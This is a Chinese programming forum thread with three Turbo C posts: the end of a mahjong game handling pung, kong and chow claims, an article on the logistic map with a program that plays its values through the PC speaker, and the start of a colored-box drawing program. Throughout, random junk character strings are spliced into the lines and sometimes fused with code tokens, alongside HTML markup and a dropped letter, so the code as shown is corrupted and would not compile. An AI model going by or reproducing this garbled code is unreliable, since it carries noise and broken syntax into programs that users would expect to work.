2 p, a6 M% ]/ ~7 Z{6 g) P2 N2 k! `; f
x1=240;
3 O7 u1 _" U2 a6 W4 jy1=165;
8 o+ X$ s% f6 p% d2 vfillRectangle(x1,y1,x1+20,y1+4,0);. v& o9 V. ~+ P' N* a" @8 A2 Y2 b
}5 C3 _2 C) B5 }5 g
if(every==12)
9 Y; ^% v7 u* X- S8 u{% _* o/ i5 R6 J  w- F; |
x1=260;
: u: B8 T. c) Z: x3 S9 C1 xy1=165;
8 [$ p* T, q* w9 {  qfillRectangle(x1,y1,x1+20,y1+4,0);. r/ g2 w+ ~0 V: X# U* H
}
- m- q1 M, K  P% `
% W, x/ |, _' c2 e6 V/ B" s' xzz=0;
2 o, l, G* C8 P+ cevery++;
$ p- B3 Z7 f0 k$ R  B) j( oz=z+20;) R* b/ X$ x5 Q6 h5 }8 D
}  U+ R  p% z9 j) F! o
showbmp(every);! h/ U8 Z# J5 ]% e
key=keyy;- |  v, e! |* q- K2 H
if(keyy==ENTER)
- G5 i- a& t2 h{
4 Q/ Q" L) h) x3 h6 F5 argzn(every); /*********************/
. q4 t( l9 {5 Z  B# jif(sing==1) /*如果可以乓,做相应的处理*/! `8 u5 |( d/ D, e- f( P% \  T
{
: d; [" L+ E, s0 z" `$ B3 ckkk=0;0 C9 S& ?7 y$ ?' d+ w" K5 s
kkkk=0;/ ^3 z7 l# \9 Z) F' ~4 y
while(kkk&lt;=computer.m)
4 G: d1 j0 a/ w: X6 W6 @% e" T{0 C  R! u' ^9 _! g9 z& G$ R  B
if(computer.pp[kkk].p!=1)/ \+ g  i& L* |7 T& ]! R8 W
{! V7 m( O  B% n! x* c
comp.pp[kkkk].k=computer.pp[kkk].k;, G) R6 w/ b) E0 r3 E4 W
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
* s2 `0 @5 c3 M9 R8 L" mcomp.pp[kkkk].number=computer.pp[kkk].number;0 q! n- W3 M, p6 {& E" Z/ m) Z
kkkk++;
# ?. t; |/ k$ K- B" t}# A4 N* L  z9 C3 N" J6 _# l: q
else
; X, j2 f2 c0 Y! `* k- D: k{
1 s7 M9 r$ c5 ~7 ^/ c/ d  \m[computer.pp[kkk].number].data1=1;
9 f6 ^2 F/ B3 C) _: ldwei=computer.pp[kkk].number;
( s6 ]2 w7 d2 }. q; y) Zcomputer.pp[kkk].p=0;
# s, |8 ?! }; i$ I6 T  a& ~}
+ F  \; O5 t9 }/ J% }2 v8 bkkk++;
- ~# E# p: h. V5 C4 s2 A}$ Y& M7 a" [/ K% Q; `3 R3 R
ll=0;5 `( H: p$ M* `+ E/ D
3 }; ]& W, Y$ x/ B4 w4 o
while(ll&lt;3)6 Z1 }! l" A+ z/ N
{ zl=zl+20;
7 M- p  F) d( _3 O. a$ F) fbmpp(dwei); /*显示乓的牌*/
$ |; \* J9 a7 o+ D; all++;0 T( L3 t3 M' }
}
. d  b0 N* h( n; I- Z2 Y8 ?; [- n  C
zl=zl+9600-60;1 y6 {0 D$ Q* e  ^+ h
kkk=0;
8 F) z5 f6 q0 _7 i: g7 Gcomputer.m=computer.m-2;, x- E0 i% K$ U5 t" V
while(kkk&lt;=computer.m); Y1 t3 k0 n5 ?1 w3 R1 R, ?
{
  A# c# J1 G& f9 N, o8 [computer.pp[kkk].k=comp.pp[kkk].k;! y# i" Q( P4 U: `. U6 T% [; l1 Z
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
7 \- e4 n+ X+ U0 Pcomputer.pp[kkk].number=comp.pp[kkk].number;
/ F) D7 k/ f1 G2 e  ?) Zkkk++;
* @; J; o6 j& U! o}
) O, b, f5 t8 O/ pll=0;. c+ O! c2 D0 W8 L; @
temp=random(computer.m); /*出牌等待完善*/
. b2 g2 k+ Y8 A2 Y. Q, H3 Q0 Szyy=zyy+9280+20;
! v; S; ^! t- \; w0 C" J5 yshowcbmp(temp);5 R9 y6 L* }/ i: a
zyy=zyy-9280;- @1 R6 p7 I) f9 Z0 T
/*****/
6 M' V  `  U" ~rgznme(temp);
  T! n( J; @2 `/ a: Z  spanduan();
/ M, i8 V( ~* J: T5 H( Xif(me.m==0)
8 D) c, ^. d& u" S( x5 o0 _1 qif(second==1 &amp;&amp; threes==0)
8 ~; k% R5 n& ^8 t  K4 iprintf("you win!");
$ w! E' c4 l( ], t; Fif(me.m==3)
- y0 u. C- R7 Q5 {if(second==1 &amp;&amp; threes==1)! g$ L$ u: l. W( P7 Y
printf("you win!");. _" L1 k" [) M8 D
if(me.m==6)( e- o# A6 S8 I& b: f8 H
if(second==1 &amp;&amp; threes==2)2 M. N! A, O0 W! i
printf("you win!");) `6 r# F: \2 G# Z
if(me.m==9)
4 U6 }5 o& y! G/ v# vif(second==1 &amp;&amp; threes==3)
7 u/ b% e5 M: O! Tprintf("you win!");
. X2 v* L" `; C% s+ u5 Qif(me.m==12)7 D8 j7 O- h/ a' s* z  t
if(second==1 &amp;&amp; threes==4)
5 y2 v3 l2 |! |% R  a2 wprintf("you win!");0 V+ ^( n8 t3 D* d; Q
; f- r$ {8 X2 j6 K+ b- O/ r+ t* @/ {
kkk=0;4 {- m. z" X$ B: A$ F* g" c
kkkk=0;
  \. F- A  z9 q  [0 ~6 |0 mwhile(kkk&lt;=computer.m)# o$ y% z6 b0 N# q; z2 r
{
' m1 m4 U4 H2 y. ]6 [if(kkk!=temp)
1 F/ a2 r9 X& I! C  _- H{
) I7 h0 z2 C2 \- q8 E! G8 Q  Tcomp.pp[kkkk].k=computer.pp[kkk].k;
7 Y2 A/ z& H4 p- F2 acomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
6 i% p/ \1 B: i; j: a* y: zcomp.pp[kkkk].number=computer.pp[kkk].number;
9 d7 ]& O; L  Kkkkk++;
( M7 A2 s: Y: Y+ Y* R7 r& k}2 R- n$ y4 g1 ?+ E1 ]
else% Y; R& N. z9 @
m[computer.pp[kkk].number].data1=1;
3 ?2 |1 ^6 o& J  Z. L: X; w2 xkkk++;. g, C0 c' u9 z! H( n; h' y
}4 U. @$ s) s% h1 p$ m
kkk=0;
' L' ~! n( w) `. E, q2 gcomputer.m=computer.m-1;; @& r0 j% `; v1 S4 z
while(kkk&lt;=computer.m) , \( L5 Q/ u/ F8 Y. O
{
1 p2 a3 R8 n: o% X0 Dcomputer.pp[kkk].k=comp.pp[kkk].k;; d# V9 K9 y' S& i$ ?
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;; r' Q6 }5 j5 L4 @7 O. D
computer.pp[kkk].number=comp.pp[kkk].number;
$ Y: J+ B% Z9 C! y6 fkkk++;
) c( K$ H# \  z& v/ W3 L}
9 O8 j9 z& p# N+ G" ?$ JfillRectangle(0,0,320,30,0);, D7 D+ L* S3 q7 C% y( B, Q$ f/ J) ]$ B
n=computer.m;
' }. o% T+ L  d9 p' q, l  z. @5 |6 cll=0;: V) T. i. B8 Z5 F
zy=0;
  U0 p5 U9 Z' T" j" m* Awhile(ll&lt;=n)$ {$ D. s/ P" }- q  @& v! h
{2 M( s7 |  c! g( T, a
zy=zy+20;1 q0 W2 N2 H6 Y0 h/ N9 M
showybmp(ll);
/ W* e9 l* _1 p, q! Sll++;
0 n& q! {  w2 b' y/ C+ C}
( G9 ~+ I* f6 |/ R. p% Bll=0;
7 }9 p6 v9 {6 l$ m( |getch();
  C+ c6 G) B+ Gsing=0;9 c% I; y/ j. J) A8 f' \& o
sing1=1;
8 `7 T3 V, ^& j% H  b- ^}/ P2 M0 R0 Z5 [# V7 w, _4 A% q
! c6 K, Y( {$ A' R. Q& g
if(sing==2) /*如果可以杠的做相应处理*/
8 B" _/ N9 {( L: u% g3 `! J6 n{/ Z  {+ j" C; B- g* \
kkk=0;
# y! Y4 i* i. f: j( x# vkkkk=0;# b4 e, s7 z" f* {
while(kkk&lt;=computer.m)4 m% `' A" ~6 s+ L' k! A2 H, b
{
& h" t3 b% F2 Z6 gif(computer.pp[kkk].g!=1)0 C/ v8 j7 V2 r# D
{: d) ^6 Z2 \* a/ W% }
comp.pp[kkkk].k=computer.pp[kkk].k;
: z, T2 B5 P+ q. gcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
3 z" X: a* f* q6 @1 i0 ]0 q9 qcomp.pp[kkkk].number=computer.pp[kkk].number;
0 r' W4 S& Q8 M0 O$ akkkk++;
/ f) b3 N" i) p4 \/ n) G}; V9 c  `4 n9 F
else
! m( X+ H2 z- n/ c{
& L- j6 Q: j/ ^9 X4 Fm[computer.pp[kkk].number].data1=1;
& x  Z' u. ]$ i7 Z$ K$ ydweig=computer.pp[kkk].number;
' U" [3 I! Z$ l7 u6 }computer.pp[kkk].g=0;! E; B7 W2 S7 Z2 k  z& h
}
# D9 k6 ^! W/ m8 g- @0 Ikkk++;
7 |5 u0 u: [0 N# l4 l9 C" E* s}7 d+ i2 Y1 o  K( B' ^
ll=0;
/ }& [1 L3 a0 W% k: N! M* F% }% {7 K7 f1 ?' E. V
while(ll&lt;=3)+ M. f' Y% k' e& M  i
{ zl=zl+20;
6 W2 i: T/ [) Z& mbmpp(dweig); /*显示杠的牌*/0 Y$ l: H$ J: C' U  b
ll++;" H3 \2 N- M' y
}' X+ G- C7 Q7 A; X
zl=zl+9600-60;
; q7 n; S2 G  Y% r7 N8 G' ~; rkkk=0;+ `& U; n+ N) D
computer.m=computer.m-3;
% T$ Q- l$ P* O% a& c: m+ rwhile(kkk&lt;=computer.m)4 y# B! T" j) z9 s
{# f+ L0 l6 m7 P) @+ t8 \0 |
computer.pp[kkk].k=comp.pp[kkk].k;
, \; j7 v  Z( \3 b/ ?4 vcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;; ^' U$ H5 G5 C7 l
computer.pp[kkk].number=comp.pp[kkk].number;7 ~0 \$ K; a, X8 ^" d
kkk++;
2 S) P7 l5 D! ~; c( K}0 W1 u& I# U4 M2 `  Z# S5 [
kk=0;  q1 R4 L# z: P9 y) @- X) X
computer.m++; /*加一个牌的容量*/8 G- w0 R; l' {: F; x3 z! E
while(kk!=1); o- A: w6 H0 j
{
+ c+ j9 ~+ ]3 V  Etemp=random(136); /*出牌*/3 k+ c  W# O- D! O
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)3 L. Q  ^5 `" `  y
{
1 S5 a7 }- y4 z& e) vcomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
  Z; m  K* p# V- o" \# t+ Mcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
1 d) i# e* u. jcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/
) S3 Z3 q3 N* im[temp].data2=2; /*判断牌是谁的,2为电脑*/: P& p- f( `% q
kk=1;
6 i5 U' [" {( T- B1 g}, v8 n4 s2 p# ]6 L
}6 J# W( @( w4 L
comlipai();
* J+ \$ x" {# p% jtemp=random(computer.m); /*出牌,等待完善*/
0 t( I* U5 ~7 T7 ]& Y* {$ B2 E, zzyy=zyy+9280+20;: U1 w( R, B+ E8 x: I3 \
showcbmp(temp);7 v4 Z" [+ y9 \& ?+ \+ ]
zyy=zyy-9280;
; {* b, z$ Y5 D! }7 S1 V/*****/1 N6 O  u& K  a  a( g9 r' s
rgznme(temp);
8 |  B# b3 ]+ @* ?3 r# s% spanduan();" o. L3 d. ^# N  Q; k3 `) k; K* _# F  P
if(me.m==0)
  w5 C3 T. I: D; o; ]" Aif(second==1 &amp;&amp; threes==0)
* n5 u" r9 N( g& i2 n4 r& I! Nprintf("you win!");
  L6 v- |9 f6 f/ sif(me.m==3)
' e7 q+ |7 [9 I- {4 Q/ P& o& @: aif(second==1 &amp;&amp; threes==1)+ ]3 U. z8 e- e6 j2 f: B
printf("you win!");/ w+ ?4 ^+ V( I. v! R, q
if(me.m==6)
1 O7 n/ T% R! F; Cif(second==1 &amp;&amp; threes==2)
1 m" L: A8 q# ?& j3 b% Vprintf("you win!");: b$ V; U) Y! S2 I
if(me.m==9)
6 ^9 ?5 O9 d/ s/ T0 t0 e+ t' g& Eif(second==1 &amp;&amp; threes==3)
3 G  r5 B" E+ y& E+ Bprintf("you win!");7 I, g) y2 H8 {
if(me.m==12)
$ k, V& [0 @* v; p+ I3 k# ]if(second==1 &amp;&amp; threes==4)
9 a6 g7 q9 H1 L, B, q5 @5 y5 Tprintf("you win!");4 Y  }& u* ~6 l/ [0 T: i8 |2 |
- F7 k- N- l$ Z3 h0 `3 V, O; x8 \
kkk=0;
, k) T3 e5 z. wkkkk=0;
5 S7 L. a2 N. i( u7 {# k4 _while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
/ r8 _+ r1 g  z: G* I8 v1 J{
  j% @& U/ V$ M, d4 hif(kkk!=temp)6 f" h  F5 D5 |- X! `$ @4 Q" Z
{  e& T$ p0 t7 @6 Q
comp.pp[kkkk].k=computer.pp[kkk].k;- M4 u! }6 d# M
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
8 i5 E8 z* b6 H; T4 ocomp.pp[kkkk].number=computer.pp[kkk].number;
* x3 [, Q  ]1 x0 |kkkk++;
  O* s! ~- x0 o: [; g2 X/ s}, \$ h4 T+ g! i5 `
else' _) r# G6 G1 {! t5 E
m[computer.pp[kkk].number].data1=1;* B( G0 f9 |% Y1 R
kkk++;
/ o% h8 T' k; j, ^" q  {2 r  |+ q}+ o& F( ]/ d, j& t
kkk=0;6 v. L( _2 a( ]
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/1 }" X1 p  A8 T& S6 j) d; u' [1 @
while(kkk&lt;=computer.m) & i7 P1 g0 }* x1 Z2 L, X* g7 b5 i
{# M1 [& }1 A% `/ P$ K) J
computer.pp[kkk].k=comp.pp[kkk].k;# Q4 m! P& `6 l1 u( D
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
" K( @2 w6 u' i( U& t  g2 o# _computer.pp[kkk].number=comp.pp[kkk].number;
8 a# b# y0 H+ B5 I- B/ `/ Skkk++;
! l1 G4 _$ }8 K0 P" g. }}
" w- e+ l: c. n# m; a' b/ efillRectangle(0,0,320,30,0);
8 X% d+ z# L0 d* dll=0;
' |' S- Q  Y# [6 Y; D, Z& _zy=0;
* O; }1 y) B' p* Y/ ~- U/ j/ f9 lwhile(ll&lt;=computer.m)- J8 K/ G5 U  K# \9 ]* ~1 E
{
9 i4 C$ C% ~, z6 d+ H. i# czy=zy+20;% d0 k+ a( i. j  F  g
showybmp(ll);" q  K- E- @1 K* ^0 z
ll++;2 E. u9 V  a: i' Y
}
5 {& I+ p2 U* z6 D2 V$ Q- xsing=0;4 k8 |+ A9 ^0 p8 e5 J9 s* H7 N
sing1=1;# r7 _$ @6 F# J% c8 W
}# K/ l) ?* J; K5 K' R) p9 P
if(sing==7) /*如果可以吃的,做相应处理*/
  |9 @+ j+ R; i: |2 w6 X+ D* a$ I6 v{ nn=0;
; p3 p4 K& C6 \- i' I2 v5 ]' K  mkkk=0;
% U- w8 S! V/ i  _7 ~% N6 qkkkk=0;
) i# G2 _, O: R% A. fwhile(kkk&lt;=computer.m)
3 x2 Y6 @! y% G7 N{
& X7 m1 E+ T; Z, V/ F  Zif(computer.pp[kkk].c!=1)
# b- O' |1 J& {# r4 x$ G3 P{
* F6 v# L* r2 ^" z; Bcomp.pp[kkkk].k=computer.pp[kkk].k;
& }$ l6 M2 R/ Y" ]$ B1 r  Pcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
4 R& j8 O" H) S! `* ~; J9 I- H/ x  Fcomp.pp[kkkk].number=computer.pp[kkk].number;$ K( Q. G8 k2 t; x* A6 t8 \$ M
kkkk++;
) w, Q$ S4 i8 V1 H8 r/ A}( l( z. }# z! e3 q# K2 e. \
else4 I3 k" H, U$ B6 @
{
# _. L( |6 ^( v! g3 sm[computer.pp[kkk].number].data1=1;/ R) u/ H7 P$ }0 N6 _
dw[nn++]=computer.pp[kkk].number;
" o8 \% h0 ]  S2 V" e$ dcomputer.pp[kkk].c=0;
4 |1 M+ }3 D' G& S}
1 p/ s, x( F4 p' v  a/ Mkkk++;8 a5 ^3 Z- \0 ~8 G
}
5 Y) g: D8 J3 ?7 V; J$ u5 C- j+ S6 G  r5 m
if(me.pp[every].number&lt;dw[0])
- g  {! [! g. G6 _1 w{2 i: k1 s3 @0 A" [" D  I1 ]
dw[2]=dw[1];  R- [5 n' [8 e/ t  y( \
dw[1]=dw[0];+ M( q* y1 A3 _/ q) g4 m, }, @
dw[0]=me.pp[every].number;+ d2 P7 Z7 ?3 B
}6 X" M& W+ ~6 _) u7 s8 A; z
if(me.pp[every].number&gt;dw[1])1 p2 p! @8 F7 r* R. l# s( i
{
1 z. z$ L5 q, @dw[2]=me.pp[every].number;6 L5 e+ I7 U( }6 A
}
) e, T0 r' q' Y1 i2 Cif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])& j0 f  R6 N( m, g
{
/ O( K1 T; Y! {+ t/ Adw[2]=dw[1];( ^1 S* y! k7 I2 D7 ?
dw[1]=me.pp[every].number;
; K! I7 h% F* i3 M2 [# R7 y4 E}/ W; J( ~- p4 H* z
nn=0;3 t2 a' H0 {) w/ S
while(nn&lt;3)  @/ U  H1 t$ O! ]2 F* U
{ zl=zl+20;; v7 ^/ H0 N! i1 |0 V, a/ M, C
bmpp(dw[nn]); /*显示吃的牌*/
' V( c- j3 h  C$ Vnn++;
. P. m6 h: A1 d7 l' n/ H}) d1 c7 T: e4 k3 I+ J
zl=zl+9600-60;
0 \4 c/ z4 I7 i+ dkkk=0;% S8 l! I% a2 X3 T* x
computer.m=computer.m-2;
. D- C8 h# s& v7 @3 B5 j- fwhile(kkk&lt;=computer.m)
' p( ~* w, d6 D) V4 V3 _{
: g9 P! G0 [) ~+ jcomputer.pp[kkk].k=comp.pp[kkk].k;
0 g# B% S* ]5 {- j- A$ H: ]7 `computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;+ R) P2 Q0 j; Q6 q
computer.pp[kkk].number=comp.pp[kkk].number;) P/ J* m* i9 W
kkk++;+ v, J9 ~( v6 }. O
}
- [( ?: L2 b$ M4 c& dll=0;# q; P9 l3 x- n
temp=random(computer.m); /*出牌等待完善*/8 Z6 A% ?& U; H: D- _- n
zyy=zyy+9280+20;
: ^: g3 d% @; F1 [% a+ cshowcbmp(temp);/ v$ }: Y$ n. R5 V4 S6 D
zyy=zyy-9280;
  j" ^( G/ p/ o5 w6 N' ^/*****// U+ }' n# J- T# `  F# w
rgznme(temp);
" q, }( a4 H7 Z, H2 {" T5 a, ipanduan();
- f/ P5 N( j! Y* x; k$ }6 v% yif(me.m==0)
8 R" l" c* Q# U( [1 L8 ]- f! M# A! ^if(second==1 &amp;&amp; threes==0)
9 N1 h3 C. `, A  @. [2 E1 A& r7 gprintf("you win!");
* b2 ^2 y) x- @( {3 l$ Uif(me.m==3)
; c, K; @- w2 x9 X1 d1 _% ~if(second==1 &amp;&amp; threes==1)3 W9 j" g) \, u4 ?; B
printf("you win!");6 ?* k' ?: l. U
if(me.m==6)
9 @( D' g( N) e/ D/ hif(second==1 &amp;&amp; threes==2)
& S& k7 c' W8 V" J. xprintf("you win!");* j2 x6 Y3 ]4 u4 G6 F
if(me.m==9)
! R% O3 s0 {& ^# e. m4 a. o/ fif(second==1 &amp;&amp; threes==3)
# B/ u9 P0 |9 W2 Z4 ~1 ]" R4 ~printf("you win!");. V6 j2 t- k" @! _. [
if(me.m==12)' E! K2 _7 t; n4 p1 C  c6 _! ^
if(second==1 &amp;&amp; threes==4)
+ l5 u' t0 j2 }printf("you win!");2 R" l5 N4 M6 e. D1 @

" ^; A6 m0 @/ _4 S" {! ^kkk=0;6 w$ n0 r: f2 Z& G) t" G
kkkk=0;$ d4 x- R# q; l) K: U0 D# Q4 \
while(kkk&lt;=computer.m), v1 P- @, F/ B- q! Q  z8 G$ O" e
{
2 B9 c2 U( }& Q& j, jif(kkk!=temp)! _1 K; p: _  L7 W( t" @" a) A2 t* f6 d
{
7 e) ]4 w3 S# N! Fcomp.pp[kkkk].k=computer.pp[kkk].k;$ e7 M8 h& u( g3 M* Y7 ~
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
; ?7 o- Z5 n: Z7 K& jcomp.pp[kkkk].number=computer.pp[kkk].number;
' G6 Z* C2 y* ?# b9 Ikkkk++;' A! B* S: `1 F! L( |; p
}: c' n" K) h$ ]# w- L# o6 I
else
8 X9 _" R. s. c4 q0 Jm[computer.pp[kkk].number].data1=1;& u" q+ U; O8 E* v* Q* ?; j
kkk++;) O, L& ]# ~. u$ ~* Y
}
5 ~8 ]9 u6 ?  s9 ukkk=0;
2 i+ X7 v" \+ G2 q. K* f3 ~computer.m=computer.m-1;6 f. p( H) R; U1 o/ F$ _- H
while(kkk&lt;=computer.m) * A2 J4 ]  L* m; j# P8 _
{" B( c, j3 [* J% l
computer.pp[kkk].k=comp.pp[kkk].k;
4 k8 u' r' u) T4 q; l) Qcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;0 u- [* U* I; l5 V5 O' M7 T1 d
computer.pp[kkk].number=comp.pp[kkk].number;/ p5 R. o' ~: G% S7 B3 m4 N
kkk++;
- \( F8 @3 n% A* ?}7 ]. J  f+ e+ Z0 t, D. Y
fillRectangle(0,0,320,30,0);* Q, q: P* M+ V# v" ?" x
n=computer.m;: n1 D3 N! E  ^+ @; q* i+ W
ll=0;
: x+ w/ B+ ^! s4 w, H7 W/ m0 D: Pzy=0;
* G: m# q: X5 t5 H$ Mwhile(ll&lt;=n)9 e( ?& P6 r9 Q; N2 Z
{# l1 J" h% Z: n( ]) P3 c/ u/ Y4 g4 n
zy=zy+20;. `$ u1 n" ^- y4 W- m1 L& F
showybmp(ll);
: A5 z- J9 z# ?ll++;& Q- Z3 v6 {8 g: U0 y8 x
}
+ k* [. T/ X. c, M2 S5 a0 T4 R: X' u8 G
getch();
! r' K. I' H6 ~  D& Z) Hsing=0;
6 u+ {7 J( D5 ]+ F+ Tsing1=1;  ?: p2 g6 E7 @; Z3 c: H  `
}
; d4 c4 ]: n" Z5 F( z6 v& pif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
% R! K: y4 h9 W' q9 G; K- y* w{, n4 J( Z! b( A0 z7 V$ ^
kk=0;
/ v# K( L  ~  e7 A7 E4 s  Ch=me.pp[every].number;
/ d/ P0 q- E4 l0 T9 ?% |6 U7 ^/ Qm[h].data1=1; /*此牌已经无用*/4 x" T% t5 e9 W: B0 O
if(sing1!=1)8 ?* P, W+ o1 _5 x' u; Q
{
* O) @$ x6 |9 V5 ?* zzyy=zyy+9280+20;
& |; c3 }( z0 @3 t8 \showbmpd(every);- u! g- m+ J, A2 ?
zyy=zyy-9280;6 ]/ ^. ~& S: C; }, R
}
# T) d! i8 N* g" [* g0 dwhile(kk!=1)
# t1 p4 Z: h! m1 i" I* T4 g{
. h. L$ ^0 M7 M2 P% |  k6 ]temp=random(136);2 d$ X4 r  [) F0 Z/ }
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
& C& F5 }+ L) s9 u  e{9 `* N  X' N* V3 ^7 A" T
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
' o; B3 N) l& Y8 L9 vme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
; Y. N$ I0 y5 E3 ame.pp[every].number=temp; /*第几张,用来排序*/
; e* V, {0 Q" e0 `: v/ cm[temp].data2=1; /*判断牌是谁的*/
4 o6 t* j. l# O" U; ?7 |* s' W2 Bkk=1;; ]5 }. n+ O8 u
}
- i6 E1 O+ j5 b4 ~! l: e7 h8 hif(kk==0) /*判断如果又选择了,就从新再选*/
! x$ \; n1 H- Q# F& o& v* Okk=0;4 p3 @: X& U( ?6 e6 j! T
}
7 K# f2 @. q# B  V% Q; z3 i( @}& D! i6 Q4 c  e! H" D% ^5 x
sing=0;& @8 `6 e# e* N6 b
sing1=0;
4 C7 c2 _" G+ ~! R- y4 F( U* U. I0 e6 ^melipai();
  x( a6 z, H1 B0 K* F( hn=13;
6 y3 X6 z- \/ J) ~( X  |z1=54400;% r. P  H- J5 }" v
l=0;
  F, l: F$ Z/ {! z) Y: bg=z;* |. L# Y2 u/ c$ R  @! @6 A$ H
while(l&lt;n); I7 ]; f/ F4 t1 u1 u* W  D
{ z=0;! g7 Q# ?- N) y
z1=z1+20;8 L- z( y( c4 U% {* d
showbmp(l);, C3 k+ K  ]) f" _8 {' _
l++;) H8 @! t7 v& z, F  F
}
& E) Q+ M9 f; bz1=0;& m4 G$ i, C. y& J6 b$ ~# d
z=g;& V& P, L  g: z: y# ]5 Z, ]
}
% c/ E/ e& y- V- D! qkeyy=0;
# V5 D$ |# K0 B. v* H. R8 J}2 o' _- I$ f3 R
9 m/ k4 a* L% b6 K& k" p$ g
getch();; @+ F, }! u# l3 O
OUTVGA;
. K* J3 ]; O+ x( `9 h}
# P  p) g1 j: ?</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
9 d' e) t! I& V0 _% M</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
, |8 |- K- Z. V
$ ?4 k9 T6 R$ c) l  p. z$ \  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。5 ?4 x2 {  A7 l( {
  <FONT color=#009900>#include <DOS.H>
6 z5 D; F( x0 T' d/ X  #include <STDIO.H>
9 X8 j9 {1 k" g" j  main(){
# Z5 Z) _# D# [7 A3 G5 t: g+ A  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
* \4 J. E5 x; h0 x0 m  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
8 l* ^+ F: C# L/ W  /*i,j用于循环记数*/' o/ S- p, l8 a+ Z5 {
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
+ q& n7 S7 ]4 i0 p2 [7 e  fDis=fMax-fMin;
7 S+ G1 c) {) W7 M% ^+ I  for(j=1;;j++){
  W. e7 `: f0 ^  f+ O# E  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/5 L& x. w2 y. Z! L5 I
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
/ K: ~# t+ b) q3 u6 w4 A) U  scanf("%f",&k);
$ d4 x" \! R/ n/ w  if (k==0) break;
1 {& _* j: z. Y2 z! Z  for(i=1;i&lt;100;i++) /*去除开始的100个点*/7 C( @4 X1 L. Y) l9 O# X
  x=k*x*(1-x);  Z# w( Q3 L/ i3 W: B
  for (i=1;i&lt;100;i++){0 F" T; {' i7 b6 ^
  x=k*x*(1-x); /*计算x的值*/
( O2 |* `, y. F- d+ ]$ f  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/% g- Z9 _' Z0 y) S0 j$ f4 e
  delay(1000); }) ]6 D% q) `+ k" P4 k
  nosound(); }}) x2 e( p8 z6 G6 @8 h6 l( y, k2 J6 |) e
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
/ u) p) }. W( {) X- X3 |不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>  Q5 f% T/ E- C, A& o7 D7 E
<FONT color=#009900>/*: Y. [4 S; ^& @) W1 a/ p
*7 G; }1 V- M1 K& M' U- _3 S; V5 N
* Short driver module1 _7 I3 J6 Y4 {$ T; _" g- a! U
*
2 R9 g0 l" d: B5 i" n*/</FONT></P><><FONT color=#009900>main(), Y1 {0 K$ B$ O1 P5 x
{6 w* }% S. ?; {) c- o3 D
clrscr();! @. R1 e5 r& f# C& O" Q
box(1,1,23,79);* \8 k! W7 o& b
box(2,2,21,77);
2 S% T6 x' Q5 w# |2 Ybox(3,3,19,75);2 O- K% k, ~: l8 B; h/ a% m  v
box(4,4,17,73);9 V: f& O( c3 G8 I4 m
box(5,5,15,71);
: @$ B$ K3 a) Ebox(6,6,13,69);
/ k! C) |! U3 I: \+ S; mbox(7,7,11,67);
